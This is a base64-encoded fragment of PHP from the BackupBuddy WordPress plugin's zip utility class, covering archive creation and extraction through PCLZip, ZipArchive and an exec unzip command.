7CgkJCQlpZiAoIGZpbGVfZXhpc3RzKCAkemlwX2ZpbGUgKSAmJiAoICRhcHBlbmQgPT09IHRydWUgKSApIHsKCQkJCQlwYl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnZGV0YWlscycsIF9fKCdaSVAgZmlsZSBleGlzdHMuIEFwcGVuZGluZyBiYXNlZCBvbiBvcHRpb25zLicsJ2l0LWwxMG4tYmFja3VwYnVkZHknICkgKTsKCQkJCQkkbW9kZSA9ICdhcHBlbmQnOwoJCQkJfQoJCQkJCgkJCQlpZiAoICRtb2RlID09ICdhcHBlbmQnICkgewoJCQkJCXBiX2JhY2t1cGJ1ZGR5OjpzdGF0dXMoICdkZXRhaWxzJywgX18oJ0FwcGVuZGluZyB0byBaSVAgZmlsZSB2aWEgUENMWmlwLicsJ2l0LWwxMG4tYmFja3VwYnVkZHknICkgKTsKCQkJCQkkcmV0dmFsID0gY2FsbF91c2VyX2Z1bmNfYXJyYXkoIGFycmF5KCAmJHBjbHppcCwgJ2FkZCcgKSwgJGFyZ3VtZW50cyApOwoJCQkJfSBlbHNlIHsgLy8gY3JlYXRlCgkJCQkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ2RldGFpbHMnLCBfXyggJ0NyZWF0aW5nIFpJUCBmaWxlIHZpYSBQQ0xaaXAnLCdpdC1sMTBuLWJhY2t1cGJ1ZGR5JyApIC4gJzonIC4gaW1wbG9kZSggJzsnLCAkYXJndW1lbnRzICkgKTsKCQkJCQkvL2Vycm9yX2xvZyggJ3BjbHppcCBhcmdzOiAnIC4gcHJpbnRfciggJGFyZ3VtZW50cywgdHJ1ZSApIC4gIlxuIiApOwoJCQkJCSRyZXR2YWwgPSBjYWxsX3VzZXJfZnVuY19hcnJheSggYXJyYXkoICYkcGNsemlwLCAnY3JlYXRlJyApLCAkYXJndW1lbnRzICk7CgkJCQl9CgkJCQkKCQkJCS8vIE1vdmUgdGhlIHppcCBmaWxlIGlmIHdlIHdlcmUgY3JlYXRpbmcgaXQgaW4gYSB0ZW1wb3JhcnkgZGlyZWN0b3J5CgkJCQlpZiAoICFlbXB0eSggJHRlbXBvcmFyeV96aXBfZGlyZWN0b3J5ICkgKSB7CgkJCQkJaWYgKCBmaWxlX2V4aXN0cyggJHRlbXBvcmFyeV96aXBfZGlyZWN0b3J5IC4gYmFzZW5hbWUoICR6aXBfZmlsZSApICkgKSB7CgkJCQkJCXBiX2JhY2t1cGJ1ZGR5OjpzdGF0dXMoICdkZXRhaWxzJywgX18oJ1JlbmFtaW5nIFBDTFppcCBGaWxlLi4uJywnaXQtbDEwbi1iYWNrdXBidWRkeScgKSApOwoJCQkJCQlyZW5hbWUoICR0ZW1wb3JhcnlfemlwX2RpcmVjdG9yeSAuIGJhc2VuYW1lKCAkemlwX2ZpbGUgKSwgJHppcF9maWxlICk7CgkJCQkJCWlmICggZmlsZV9leGlzdHMoICR6aXBfZmlsZSApICkgewoJCQkJCQkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ2RldGFpbHMnLCBfXygnUmVuYW1pbmcgUENMWmlwIHN1Y2Nlc3MuJywnaXQtbDEwbi1iYWNrdXBidWRkeScgKSApOwoJCQkJCQl9IGVsc2UgewoJCQkJCQkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ2RldGFpbHMnLCBfXygnUmVuYW1pbmcgUENMWmlwIGZhaWx1cmUuJywnaXQtbDEwbi1iYWNrdXBidWRkeScgKSApOwoJCQkJCQl9CgkJCQkJfSBlbHNlIHsKCQkJCQkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ2RldGFpbHMnLCBfXygnVGVtcG9yYXJ5IFBDTFppcCBhcmNoaXZlIGZpbGUgZXhwZWN0ZWQgYnV0IG5vdCBmb3VuZC4gUGxlYXNlIHZlcmlmeSBwZXJtaXNzaW9ucyBvbiB0aGUgWklQIGFyY2hpdmUgZGlyZWN0b3J5LicsJ2l0LWwxMG4tYmFja3VwYnVkZHknICkgKTsKCQkJCQl9CgkJCQl9CgkJCQkKCQkJCS8vIFdvcmsgb3V0IHdoZXRoZXIgd2UgaGF2ZSBhIHByb2JsZW0gb3Igbm90CgkJCQlpZiAoIGlzX2FycmF5KCAkcmV0dmFsICkgKSB7CgkJCQkKCQkJCQkvLyBJdCdzIGFuIGFycmF5IHNvIGEgZ29vZCByZXN1bHQKCQkJCQkkZXhpdGNvZGUgPSAwOwoJCQkJCgkJCQl9IGVsc2UgewoJCQkJCgkJCQkJLy8gTm90IGFuIGFycmF5IHNvIGEgYmFkIGVycm9yIGNvZGUKCQkJCQkkZXhpdGNvZGUgPSAkcGNsemlwLT5lcnJvckNvZGUoKTsKCQkJCQoJCQkJfQoJCQkJCgkJCQkvLyBDb252ZW5pZW5jZSBmb3IgaGFuZGxpbmcgZGlmZmVyZW50IHNjYW5hcmlvcwoJCQkJJHJlc3VsdCA9IGZhbHNlOwoJCQkJCgkJCQkvLyBTZWUgaWYgd2UgY2FuIGZpZ3VyZSBvdXQgd2hhdCBoYXBwZW5lZCAtIG5vdGUgdGhhdCAkZXhpdGNvZGUgY291bGQgYmUgbm9uLXplcm8gZm9yIGEgd2FybmluZyBvciBlcnJvcgoJCQkJLy8gVGhlcmUgbWF5IGJlIG5vIHppcCBmaWxlIGF0IGFsbCBpZiB0aGVyZSB3YXMgYSBwcm9ibGVtIGNyZWF0aW5nIGl0IG9yIGl0IG1heSBiZSBsZWZ0IGluIHRoZSB0ZW1wCgkJCQkvLyBkaXJlY3RvcnkgaWYgaXQgY291bGRuJ3QgYmUgbW92ZWQKCQkJCWlmICggKCAhIGZpbGVfZXhpc3RzKCAkemlwX2ZpbGUgKSApIHx8ICggJGV4aXRjb2RlICE9IDAgKSApIHsKCQkJCQoJCQkJCS8vIElmIHdlIGhhZCBhIG5vbi16ZXJvIGV4aXQgY29kZSB0aGVuIHNob3VsZCByZXBvcnQgaXQgKGZpbGUgbWF5IG9yIG1heSBub3QgYmUgY3JlYXRlZCkKCQkJCQlpZiAoICRleGl0Y29kZSAhPSAwICkgewoJCQkJCQoJCQkJCQlwYl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnZGV0YWlscycsIF9fKCdaaXAgcHJvY2VzcyBleGl0IGNvZGU6ICcsJ2l0LWwxMG4tYmFja3VwYnVkZHknICkgLiAkZXhpdGNvZGUgKTsKCQkJCQkJCgkJCQkJfQoJCgkJCQkJLy8gUmVwb3J0IHdoZXRoZXIgb3Igbm90IHRoZSB6aXAgZmlsZSB3YXMgY3JlYXRlZAkJCQkKCQkJCQlpZiAoICEgZmlsZV9leGlzdHMoICR6aXBfZmlsZSApICkgewoJCQkJCQoJCQkJCQlwYl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnZGV0YWlscycsIF9fKCAnWmlwIEFyY2hpdmUgZmlsZSBub3QgY3JlYXRlZCAtIGNoZWNrIHByb2Nlc3MgZXhpdCBjb2RlLicsJ2l0LWwxMG4tYmFja3VwYnVkZHknICkgKTsKCQkJCQkJCgkJCQkJfSBlbHNlIHsKCQkJCQkJCgkJCQkJCXBiX2JhY2t1cGJ1ZGR5OjpzdGF0dXMoICdkZXRhaWxzJywgX18oICdaaXAgQXJjaGl2ZSBmaWxlIGNyZWF0ZWQgYnV0IHdpbGwgYmUgcmVtb3ZlZCAtIGNoZWNrIHByb2Nlc3MgZXhpdCBjb2RlLicsJ2l0LWwxMG4tYmFja3VwYnVkZHknICkgKTsKCQoJCQkJCQlAdW5saW5rKCAkemlwX2ZpbGUgKTsKCQkJCQkJCgkJCQkJfQoJCQkJCQoJCQkJCS8vIFB1dCB0aGUgZXJyb3IgaW5mb3JtYXRpb24gaW50byBhbiBhcnJheSBmb3IgY29uc2lzdGVuY3kKCQkJCQkkemlwX291dHB1dFtdID0gJHBjbHppcC0+ZXJyb3JJbmZvKCB0cnVlICk7CgkJCQkJCgkJCQkJLy8gTm93IHdlIGRvbid0IG1vdmUgaXQgKGJlY2F1c2UgZWl0aGVyIGl0IGRvZXNuJ3QgZXhpc3Qgb3IgbWF5IGJlIGluY29tcGxldGUpIGJ1dCB3ZSdsbCBzaG93IGFueSBlcnJvci93YXJ0bmluZyBvdXRwdXQKCQkJCQlpZiAoICFlbXB0eSggJHppcF9vdXRwdXQgKSApIHsKCQkJCQkKCQkJCQkJLy8gQXNzdW1lIHdlIGRvbid0IGhhdmUgYSBsb3Qgb2YgbGluZXMgZm9yIG5vdyAtIGNvdWxkIGJlIHJpc2t5IGFzc3VtcHRpb24hCgkJCQkJCWZvcmVhY2ggKCAkemlwX291dHB1dCBhcyAkbGluZSApIHsKCQkJCQkJCgkJCQkJCQlwYl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnZGV0YWlscycsIF9fKCAnWmlwIHByb2Nlc3MgcmVwb3J0ZWQ6ICcsJ2l0LWwxMG4tYmFja3VwYnVkZHknICkgLiAkbGluZSApOwoJCQkJCQkKCQkJCQkJfQoJCQkJCQoJCQkJCQkvLyBFeHRyYSBkZXRhaWxzIGZvciBwYXJ0aWN1bGFyIGVycm9yCgkJCQkJCWlmICggZmFsc2UgIT09IHN0cnBvcyggJHBjbHppcC0+ZXJyb3JJbmZvKCB0cnVlICksICdQQ0xaSVBfRVJSX1JFQURfT1BFTl9GQUlMJyApICkgewoJCQkJCQkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ2RldGFpbHMnLCBfXyggJ1BDTFpJUF9FUlJfUkVBRF9PUEVOX0ZBSUwgZGV0YWlsczogVGhpcyBlcnJvciBpbmRpY2F0ZXMgdGhhdCBmb3BlbiBmYWlsZWQgKHJldHVybmVkIGZhbHNlKSB3aGVuIHRyeWluZyB0byBvcGVuIHRoZSBmaWxlIGluIHRoZSBtb2RlIHNwZWNpZmllZC4gVGhpcyBpcyBhbG1vc3QgYWx3YXlzIGR1ZSB0byBwZXJtaXNzaW9ucy4nLCAnaXQtbDEwbi1iYWNrdXBidWRkeScgKSApOwoJCQkJCQl9CgkJCQkJCQkJCQkKCQkJCQl9CgkJCQkJCgkJCQkJLy8gT25lIHdheSBvciBhbm90aGVyIHdlIGZhaWxlZAoJCQkJCSRyZXN1bHQgPSBmYWxzZTsKCQkJCQkKCQkJCX0gZWxzZSB7CgkJCQkKCQkJCQkvLyBHb3QgZmlsZSB3aXRoIG5vIGVycm9yIG9yIHdhcm5pbmdzIGF0IGFsbCBzbyBpdCBzaG91bGQgYmUgZ29vZCB0byBnbwoJCQkJCQoJCQkJCWlmICggZmlsZV9leGlzdHMoICR6aXBfZmlsZSApICkgewoJCQkJCQoJCQkJCQlwYl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnZGV0YWlscycsIF9fKCdaaXAgQXJjaGl2ZSBmaWxlIG1vdmVkIHRvIGxvY2FsIGFyY2hpdmUgZGlyZWN0b3J5LicsJ2l0LWwxMG4tYmFja3VwYnVkZHknICkgKTsKCQkJCQkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ21lc3NhZ2UnLCBfXyggJ1ppcCBBcmNoaXZlIGZpbGUgc3VjY2Vzc2Z1bGx5IGNyZWF0ZWQgd2l0aCBubyBlcnJvcnMgb3Igd2FybmluZ3MuJywnaXQtbDEwbi1iYWNrdXBidWRkeScgKSApOwoJCQkJCQkkcmVzdWx0ID0gdHJ1ZTsKCQkJCQkJCgkJCQkJfSBlbHNlIHsKCQkJCQkKCQkJCQkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ2RldGFpbHMnLCBfXygnWmlwIEFyY2hpdmUgZmlsZSBjb3VsZCBub3QgYmUgbW92ZWQgdG8gbG9jYWwgYXJjaGl2ZSBkaXJlY3RvcnkuJywnaXQtbDEwbi1iYWNrdXBidWRkeScgKSApOwoJCQkJCQkkcmVzdWx0ID0gZmFsc2U7CgkJCQkJCQoJCQkJCX0KCQkJCQkJCQkJCgkJCQl9CQkJCgkKCQkJCWlmICggIWVtcHR5KCAkdGVtcG9yYXJ5X3ppcF9kaXJlY3RvcnkgKSApIHsKCQkJCQoJCQkJCS8vIENsZWFudXAgdGhlIHRlbXBvcmFyeSBkaXJlY3RvcnkgdGhhdCB3aWxsIGhhdmUgYWxsIGRldHJpdHVzIGFuZCBtYXliZSBpbmNvbXBsZXRlIHppcCBmaWxlCQkJCgkJCQkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ2RldGFpbHMnLCBfXygnUmVtb3ZpbmcgdGVtcG9yYXJ5IGRpcmVjdG9yeS4nLCdpdC1sMTBuLWJhY2t1cGJ1ZGR5JyApICk7CgkJCQkJCgkJCQkJaWYgKCAhKCAkdGhpcy0+ZGVsZXRlX2RpcmVjdG9yeV9yZWN1cnNpdmUoICR0ZW1wb3JhcnlfemlwX2RpcmVjdG9yeSApICkgKSB7CgkJCQkJCgkJCQkJCQlwYl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnZGV0YWlscycsIF9fKCdUZW1wb3JhcnkgZGlyZWN0b3J5IGNvdWxkIG5vdCBiZSBkZWxldGVkOiAnLCdpdC1sMTBuLWJhY2t1cGJ1ZGR5JyApIC4gJHRlbXBvcmFyeV96aXBfZGlyZWN0b3J5ICk7CgkJCQkJCgkJCQkJfQoJCQkJCgkJCQl9CgkJCQkKCQkJCWlmICggJHJlc3VsdCApIHJldHVybiAkcmVzdWx0OwoJCQkJCgkJCX0KCQkJCgkJCS8vIElmIHdlIG1hZGUgaXQgdGhpcyBmYXIgdGhlbiBzb21ldGhpbmcgZGlkbnQgcmVzdWx0IGluIGEgc3VjY2Vzcy4KCQkJcmV0dXJuIGZhbHNlOwoJCX0KCQkKCQkKCQkKCQkvKioKCQkgKgl1bnppcCgpCgkJICoKCQkgKglFeHRyYWN0cyB0aGUgY29udGVudHMgb2YgYSB6aXAgZmlsZSB0byB0aGUgc3BlY2lmaWVkIGRpcmVjdG9yeSB1c2luZyB0aGUgYmVzdCB1bnppcCBtZXRob2RzIHBvc3NpYmxlLgoJCSAqCgkJICoJJHppcF9maWxlCQkJCQlzdHJpbmcJCUZ1bGwgcGF0aCAmIGZpbGVuYW1lIG9mIFpJUCBmaWxlIHRvIGNyZWF0ZS4KCQkgKgkkZGVzdGluYXRpb25fZGlyZWN0b3J5CQlzdHJpbmcJCUZ1bGwgZGlyZWN0b3J5IHBhdGggdG8gZXh0cmFjdCBpbnRvLgoJCSAqCSRmb3JjZV9jb21wYXRpYmlsaXR5X21vZGUJbWl4ZWQJCWZhbHNlIChkZWZhdWx0KTogdXNlIGJlc3QgbWV0aG9kcyBhdmFpbGFibGUgKHppcCBleGVjIGZpcnN0KSwgZmFsbGluZyBiYWNrIGFzIG5lZWRlZC4KCQkgKgkJCQkJCQkJCQkJemlwYXJjaGl2ZTogZmlyc3QgZmFsbGJhY2sgbWV0aG9kLiAoTWVkaXVtIHBlcmZvcm1hbmNlKQoJCSAqCQkJCQkJCQkJCQlwY2x6aXA6IHNlY29uZCBmYWxsYmFjayBtZXRob2QuIChXb3JzdCBwZXJmb3JtYW5jZTsgYnVnZ3kpCgkJICoKCQkgKglAcmV0dXJuYGAJCQkJCQkJCXRydWUgb24gc3VjY2VzcywgZmFsc2Ugb3RoZXJ3aXNlCgkJICovCgkJZnVuY3Rpb24gdW56aXAoICR6aXBfZmlsZSwgJGRlc3RpbmF0aW9uX2RpcmVjdG9yeSwgJGZvcmNlX2NvbXBhdGliaWxpdHlfbW9kZSA9IGZhbHNlICkgewoJCQkKCQkJJGRlc3RpbmF0aW9uX2RpcmVjdG9yeSA9IHJ0cmltKCAkZGVzdGluYXRpb25fZGlyZWN0b3J5LCAnXFwvJyApIC4gJy8nOyAvLyBNYWtlIHN1cmUgdHJhaWxpbmcgc2xhc2ggZXhpc3RzIHRvIG5vcm1hbGl6ZS4KCQkJCgkJCWlmICggJGZvcmNlX2NvbXBhdGliaWxpdHlfbW9kZSA9PSAnemlwYXJjaGl2ZScgKSB7CgkJCQkkemlwX21ldGhvZHMgPSBhcnJheSggJ3ppcGFyY2hpdmUnICk7CgkJCQlwYl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnbWVzc2FnZScsIF9fKCdGb3JjZWQgY29tcGF0aWJpbGl0eSBtb2RlIChaaXBBcmNoaXZlOyBtZWRpdW0gc3BlZWQpIGJhc2VkIG9uIHNldHRpbmdzLiBUaGlzIGlzIHNsb3dlciBhbmQgbGVzcyByZWxpYWJsZS4nLCdpdC1sMTBuLWJhY2t1cGJ1ZGR5JyApICk7CgkJCX0gZWxzZWlmICggJGZvcmNlX2NvbXBhdGliaWxpdHlfbW9kZSA9PSAncGNsemlwJyApIHsKCQkJCSR6aXBfbWV0aG9kcyA9IGFycmF5KCAncGNsemlwJyApOwoJCQkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ21lc3NhZ2UnLCBfXygnRm9yY2VkIGNvbXBhdGliaWxpdHkgbW9kZSAoUENMWmlwOyBzbG93IHNwZWVkKSBiYXNlZCBvbiBzZXR0aW5ncy4gVGhpcyBpcyBzbG93ZXIgYW5kIGxlc3MgcmVsaWFibGUuJywnaXQtbDEwbi1iYWNrdXBidWRkeScgKSApOwoJCQl9IGVsc2UgewoJCQkJJHppcF9tZXRob2RzID0gJHRoaXMtPl96aXBfbWV0aG9kczsKCQkJCXBiX2JhY2t1cGJ1ZGR5OjpzdGF0dXMoICdkZXRhaWxzJywgX18oJ1VzaW5nIGFsbCBhdmFpbGFibGUgemlwIG1ldGhvZHMgaW4gcHJlZmVycmVkIG9yZGVyLicsJ2l0LWwxMG4tYmFja3VwYnVkZHknICkgKTsKCQkJfQoJCQkKCQkJaWYgKCBpbl9hcnJheSggJ2V4ZWMnLCAkemlwX21ldGhvZHMgKSApIHsKCQkJCXBiX2JhY2t1cGJ1ZGR5OjpzdGF0dXMoICdkZXRhaWxzJywgICdTdGFydGluZyBoaWdoc3BlZWQgZXh0cmFjdGlvbiAoZXhlYykuLi4gVGhpcyBtYXkgdGFrZSBhIG1vbWVudC4uLicgKTsKCQkJCQoJCQkJJGNvbW1hbmQgPSAndW56aXAgLXFvJzsgLy8gcSA9IHF1aWV0LCBvID0gb3ZlcndyaXRlIHdpdGhvdXQgcHJvbXB0LgoJCQkJJGNvbW1hbmQgLj0gIiAnJHppcF9maWxlJyAtZCAnJGRlc3RpbmF0aW9uX2RpcmVjdG9yeScgLXggJ2ltcG9ydGJ1ZGR5LnBocCciOyAvLyB4IGV4Y2x1ZGVzIGltcG9ydGJ1ZGR5IHNjcmlwdCB0byBwcmV2ZW50IG92ZXJ3cml0aW5nIG5ld2VyIGltcG9ydGJ1ZGR5IG9uIGV4dHJhY3Qgc3RlcC4KCQkJCgkJCQkvLyBIYW5kbGUgd2luZG93cy4KCQkJCWlmICggc3RyaXN0ciggUEhQX09TLCAnV0lOJyApICYmICFzdHJpc3RyKCBQSFBfT1MsICdEQVJXSU4nICkgKSB7IC8vIFJ1bm5pbmcgV2luZG93cy4gKG5vdCBkYXJ3aW4pCgkJCQkJaWYgKCBmaWxlX2V4aXN0cyggQUJTUEFUSCAuICd1bnppcC5leGUnICkgKSB7CgkJCQkJCXBiX2JhY2t1cGJ1ZGR5OjpzdGF0dXMoICdkZXRhaWxzJywgICdBdHRlbXB0aW5nIHRvIHVzZSBXaW5kb3dzIHVuemlwLmV4ZS4nICk7CgkJCQkJCSRjb21tYW5kID0gc3RyX3JlcGxhY2UoICdcJycsICciJywgJGNvbW1hbmQgKTsgLy8gV2luZG93cyB3YW50cyBkb3VibGUgcXVvdGVzCgkJCQkJCSRjb21tYW5kID0gQUJTUEFUSCAuICRjb21tYW5kOwoJCQkJCX0KCQkJCX0KCQkJCQoJCQkJJGNvbW1hbmQgLj0gJyAgMj4mMSc7IC8vIFJlZGlyZWN0IFNUREVSUiB0byBTVERPVVQuCgkJCQkKCQkJCWlmICggJHRoaXMtPl9leGVjcGF0aCAhPSAnJyApIHsKCQkJCQlwYl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnZGV0YWlscycsIF9fKCAnVXNpbmcgY3VzdG9tIGV4ZWMoKSBwYXRoOiAnLCAnaXQtbDEwbi1iYWNrdXBidWRkeScgKSAuICR0aGlzLT5fZXhlY3BhdGggKTsKCQkJCX0KCQkJCQoJCQkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ2RldGFpbHMnLCAnUnVubmluZyBaSVAgY29tbWFuZC4gVGhpcyBtYXkgdGFrZSBhIG1vbWVudC4nICk7CgkJCQlsaXN0KCAkZXhlY19vdXRwdXQsICRleGVjX2V4aXRfY29kZSApID0gJHRoaXMtPl9jb21tYW5kYnVkZHktPmV4ZWN1dGUoICR0aGlzLT5fZXhlY3BhdGggLiAkY29tbWFuZCApOwoJCQkJCgkJCQkkZmFpbGVkID0gZmFsc2U7IC8vIERlZmF1bHQuCgkJCQkKCQkJCWlmICggIWZpbGVfZXhpc3RzKCAkZGVzdGluYXRpb25fZGlyZWN0b3J5IC4gJ3dwLWxvZ2luLnBocCcgKSAmJiAhZmlsZV9leGlzdHMoICRkZXN0aW5hdGlvbl9kaXJlY3RvcnkgLiAnZGJfMS5zcWwnICkgJiYgIWZpbGVfZXhpc3RzKCAkZGVzdGluYXRpb25fZGlyZWN0b3J5IC4gJ3dvcmRwcmVzcy93cC1sb2dpbi5waHAnICkgKSB7IC8vIHdwLWxvZ2luLnBocCBmb3IgV29yZFByZXNzLCBkYl8xLnNxbCBmb3IgREIgYmFja3VwLCB3b3JkcHJlc3Mvd3AtbG9naW4ucGhwIGZvciBmcmVzaCBXb3JkUHJlc3MgZG93bmxvYWRlZCBmcm9tIHdwLm9yZyBmb3IgTVMgZXhwb3J0CgkJCQkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ2Vycm9yJywgJ0JvdGggd3AtbG9naW4ucGhwIChmdWxsIGJhY2t1cHMpIGFuZCBkYl8xLnNxbCAoZGF0YWJhc2Ugb25seSBiYWNrdXBzKSBhcmUgbWlzc2luZyBhZnRlciBleHRyYWN0aW9uLiBVbnppcCBwcm9jZXNzIGFwcGVhcnMgdG8gaGF2ZSBmYWlsZWQuJyApOwoJCQkJCSRmYWlsZWQgPSB0cnVlOwoJCQkJfQoJCQkJCgkJCQlpZiAoICRleGVjX2V4aXRfY29kZSAhPSAnMCcgKSB7CgkJCQkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ2Vycm9yJywgICdFeGl0IGNvZGUgYCcgLiAkZXhlY19leGl0X2NvZGUgLiAnYCBpbmRpY2F0ZXMgYSBwcm9ibGVtIHdhcyBlbmNvdW50ZXJlZC4nICk7CgkJCQkJJGZhaWxlZCA9IHRydWU7CgkJCQl9CgkJCQkKCQkJCS8vIFNvbWV0aW1lcyBleGVjIHJldHVybnMgc3VjY2VzcyBjb2RlcyBidXQgbmV2ZXIgZXh0cmFjdGVkIGFjdHVhbCBmaWxlcy4gRG8gYSBjaGVjayB0byBtYWtlIHN1cmUga25vd24gZmlsZXMgd2VyZSBleHRyYWN0ZWQgdG8gdmVyaWZ5IGFnYWluc3QgdGhhdC4KCQkJCWlmICggJGZhaWxlZCA9PT0gZmFsc2UgKSB7CgkJCQkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ21lc3NhZ2UnLCAnRmlsZSBleHRyYWN0aW9uIGNvbXBsZXRlLicgKTsKCQkJCQlyZXR1cm4gdHJ1ZTsKCQkJCX0gZWxzZSB7CgkJCQkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ21lc3NhZ2UnLCAgJ0ZhbGxpbmcgYmFjayB0byBuZXh0IGNvbXBhdGliaWxpdHkgbW9kZS4nICk7CgkJCQl9CgkJCX0KCQkJCgkJCWlmICggaW5fYXJyYXkoICd6aXBhcmNoaXZlJywgJHppcF9tZXRob2RzICkgKSB7CgkJCQlwYl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnZGV0YWlscycsICAnU3RhcnRpbmcgbWVkaXVtIHNwZWVkIGV4dHJhY3Rpb24gKHppcGFyY2hpdmUpLi4uIFRoaXMgbWF5IHRha2UgYSBtb21lbnQuLi4nICk7CgkJCQkKCQkJCSR6aXAgPSBuZXcgWmlwQXJjaGl2ZTsKCQkJCWlmICggJHppcC0+b3BlbiggJHppcF9maWxlICkgPT09IHRydWUgKSB7CgkJCQkJaWYgKCB0cnVlID09PSAkemlwLT5leHRyYWN0VG8oICRkZXN0aW5hdGlvbl9kaXJlY3RvcnkgKSApIHsKCQkJCQkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ2RldGFpbHMnLCAgJ1ppcEFyY2hpdmUgZXh0cmFjdGlvbiBzdWNjZXNzLicgKTsKCQkJCQkJJHppcC0+Y2xvc2UoKTsKCQkJCQkJcmV0dXJuIHRydWU7CgkJCQkJfSBlbHNlIHsKCQkJCQkJJHppcC0+Y2xvc2UoKTsKCQkJCQkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ21lc3NhZ2UnLCAgJ0Vycm9yOiBaaXBBcmNoaXZlIHdhcyBhdmFpbGFibGUgYnV0IGZhaWxlZCBleHRyYWN0aW5nIGZpbGVzLiAgRmFsbGluZyBiYWNrIHRvIG5leHQgY29tcGF0aWJpbGl0eSBtb2RlLicgKTsKCQkJCQl9CgkJCQl9IGVsc2UgewoJCQkJCXBiX2JhY2t1cGJ1ZGR5OjpzdGF0dXMoICdtZXNzYWdlJywgICdFcnJvcjogVW5hYmxlIHRvIG9wZW4gemlwIGZpbGUgdmlhIFppcEFyY2hpdmUuIEZhbGxpbmcgYmFjayB0byBuZXh0IGNvbXBhdGliaWxpdHkgbW9kZS4nICk7CgkJCQl9CgkJCX0KCQkJCgkJCWlmICggaW5fYXJyYXkoICdwY2x6aXAnLCAkemlwX21ldGhvZHMgKSApIHsKCQkJCXBiX2JhY2t1cGJ1ZGR5OjpzdGF0dXMoICdkZXRhaWxzJywgICdTdGFydGluZyBsb3cgc3BlZWQgZXh0cmFjdGlvbiAocGNsemlwKS4uLiBUaGlzIG1heSB0YWtlIGEgbW9tZW50Li4uJyApOwoJCQkJCgkJCQlpZiAoICFjbGFzc19leGlzdHMoICdQY2xaaXAnICkgKSB7CgkJCQkJJHBjbHppcF9maWxlID0gcGJfYmFja3VwYnVkZHk6OnBsdWdpbl9wYXRoKCkgLiAnL2xpYi9wY2x6aXAvcGNsemlwLnBocCc7CgkJCQkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ2RldGFpbHMnLCAnUENMWmlwIGNsYXNzIG5vdCBmb3VuZC4gQXR0ZW1wdGluZyB0byBsb2FkIGZyb20gYCcgLiAkcGNsemlwX2ZpbGUgLiAnYC4nICk7CgkJCQkJaWYgKCBmaWxlX2V4aXN0cyggJHBjbHppcF9maWxlICkgKSB7CgkJCQkJCXBiX2JhY2t1cGJ1ZGR5OjpzdGF0dXMoICdkZXRhaWxzJywgJ0xvYWRpbmcgYCcgLiAkcGNsemlwX2ZpbGUgLiAnYC4nICk7CgkJCQkJCXJlcXVpcmVfb25jZSggJHBjbHppcF9maWxlICk7CgkJCQkJfSBlbHNlIHsKCQkJCQkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ2RldGFpbHMnLCAnUENMWmlwIGZpbGUgbm90IGZvdW5kOiBgJyAuICRwY2x6aXBfZmlsZSAuICdgLicgKTsKCQkJCQl9CgkJCQl9CgkJCQkKCQkJCSRhcmNoaXZlID0gbmV3IFBjbFppcCggJHppcF9maWxlICk7CgkJCQkkcmVzdWx0ID0gJGFyY2hpdmUtPmV4dHJhY3QoKTsgLy8gRXh0cmFjdCB0byBjdXJyZW50IGRpcmVjdG9yeS4gRXhwbGljaXR5IHVzaW5nIFBDTFpJUF9PUFRfUEFUSCByZXN1bHRzIGluIGV4dHJhY3Rpb24gdG8gYSBQQ0xaSVBfT1BUX1BBVEggc3ViZm9sZGVyLgoJCQkJCgkJCQlpZiAoIDAgPT0gJHJlc3VsdCApIHsKCQkJCQlwYl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnZGV0YWlscycsICAnUENMWmlwIEZhaWx1cmU6ICcgLiAkYXJjaGl2ZS0+ZXJyb3JJbmZvKCB0cnVlICkgKTsKCQkJCQlwYl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnbWVzc2FnZScsICAnTG93IHNwZWVkIChQQ0xaaXApIGV4dHJhY3Rpb24gZmFpbGVkLicsICRhcmNoaXZlLT5lcnJvckluZm8oIHRydWUgKSApOwoJCQkJfSBlbHNlIHsKCQkJCQlyZXR1cm4gdHJ1ZTsKCQkJCX0KCQkJfQoJCQkKCQkJLy8gTm90aGluZyBzdWNjZWVkZWQgaWYgd2UgbWFkZSBpdCB0aGlzIGZhci4uLgoJCQlyZXR1cm4gZmFsc2U7CgkJfQoJCQoJCQoJCQoJCS8vIFRlc3QgYXZhaWxhYmlsaXR5IG9mIFppcEFyY2hpdmUgYW5kIHRoYXQgaXQgYWN0dWFsbHkgd29ya3MuCgkJZnVuY3Rpb24gdGVzdF96aXBhcmNoaXZlKCkgewoJCQlpZiAoIGNsYXNzX2V4aXN0cyggJ1ppcEFyY2hpdmUnICkgKSB7CgkJCQkkdGVzdF9maWxlID0gJHRoaXMtPl90ZW1wZGlyIC4gJ3RlbXBfdGVzdF8nIC4gdW5pcWlkKCkgLiAnLnppcCc7CgkJCQkKCQkJCSR6aXAgPSBuZXcgWmlwQXJjaGl2ZTsKCQkJCWlmICggJHppcC0+b3BlbiggJHRlc3RfZmlsZSwgWklQQVJDSElWRTo6Q1JFQVRFIHwgWklQQVJDSElWRTo6T1ZFUldSSVRFICkgPT09IHRydWUgKSB7CgkJCQkJJHppcC0+YWRkRmlsZSggX19GSUxFX18sICd0aGlzX2lzX2FfdGVzdC50eHQnKTsKCQk